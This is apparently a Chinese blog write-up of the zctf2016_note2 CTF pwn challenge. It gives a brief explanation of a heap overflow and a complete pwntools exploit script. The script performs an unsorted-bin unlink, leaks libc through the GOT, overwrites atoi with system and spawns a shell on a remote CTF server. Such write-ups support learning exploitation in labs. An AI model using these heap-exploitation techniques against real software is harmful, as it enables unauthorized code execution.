zctf2016_note2

161 篇文章 9 订阅
161 篇文章 9 订阅

zctf2016_note2

首先,检查一下程序的保护机制

 

然后用IDA分析一下,在edit函数里存在一个溢出漏洞,我们只需要让v6-strlen(&dest) == 0,即可绕过’\0’的截断,实现溢出。因此我们只需add(0,’’),即可利用这个chunk来溢出,由于PIE也没开启并且堆指针保存在bss段,因此做unsorted bin unlink比较简单。

需要注意的是由于使用了strcpy函数,因此,我们布置64位数据时,必须从最后一个开始,前面用正常不截断的字符填充,逐步向前来布置多个64位数据。

#coding:utf8
from pwn import *

#sh = process('./note2')
sh = remote('node3.buuoj.cn',25799)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./note2')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
sh.sendlineafter('Input your name:','haivk')
sh.sendlineafter('Input your address:','huse')

def add(size,content):
   sh.sendlineafter('option--->>','1')
   sh.sendlineafter('(less than 128)',str(size))
   sh.sendlineafter('Input the note content:',content)

def show(index):
   sh.sendlineafter('option--->>','2')
   sh.sendlineafter('Input the id of the note:',str(index))

def edit(index,content,mode=1):
   sh.sendlineafter('option--->>','3')
   sh.sendlineafter('Input the id of the note:',str(index))
   sh.sendlineafter('[1.overwrite/2.append]',str(mode))
   sh.sendlineafter('TheNewContents:',content)


def delete(index):
   sh.sendlineafter('option--->>','4')
   sh.sendlineafter('Input the id of the note:',str(index))


heap_ptr_1 = 0x0000000000602120
#prev_size size
fake_chunk = p64(0) + p64(0x81 + 0x20)
#fd、bk
fake_chunk += p64(heap_ptr_1 - 0x18) + p64(heap_ptr_1 - 0x10)
fake_chunk += 'a'*0x10

add(0x80,fake_chunk) #0
add(0,'') #1
add(0x80,'b'*0x20) #2
add(0x10,'c'*0x8) #3

#通过1溢出,修改chunk2的头数据
#修改chunk1的prev_size
#由于strncat遇0截断,因此,写prev_size和size的时候,我们分两步,从后往前写
#第一次写size为0x90,即设置prev_inuse为0标记前面的chunk为空闲状态
payload = 'd'*0x10 + 'd'*0x8 + p8(0x90)
edit(1,payload)
#第二次写prev_size,需要先清零prev_size处其他的d数据
for i in range(7,-1,-1):
   payload = 'd'*0x10 + 'd'*i
   edit(1,payload)
#现在写prev_size,写为0x20 + 0x80
payload = 'd'*0x10 + p64(0x20 + 0x80)
edit(1,payload)
#unsorted bin unlink
delete(2)
#现在可以控制堆指针数组了
#第一次,我们先将heap[0]改成heap数组本身的地址+8,进而下一次利用
edit(0,'a'*0x18 + p64(heap_ptr_1 + 8))
#修改heap[1]为atoi_got
payload = p64(atoi_got)
edit(0,payload)
#泄露atoi地址
show(1)
sh.recvuntil('Content is ')
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改atoi的got表为system地址
edit(1,p64(system_addr))
#getshell
sh.sendlineafter('option--->>','/bin/sh')

sh.interactive()

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值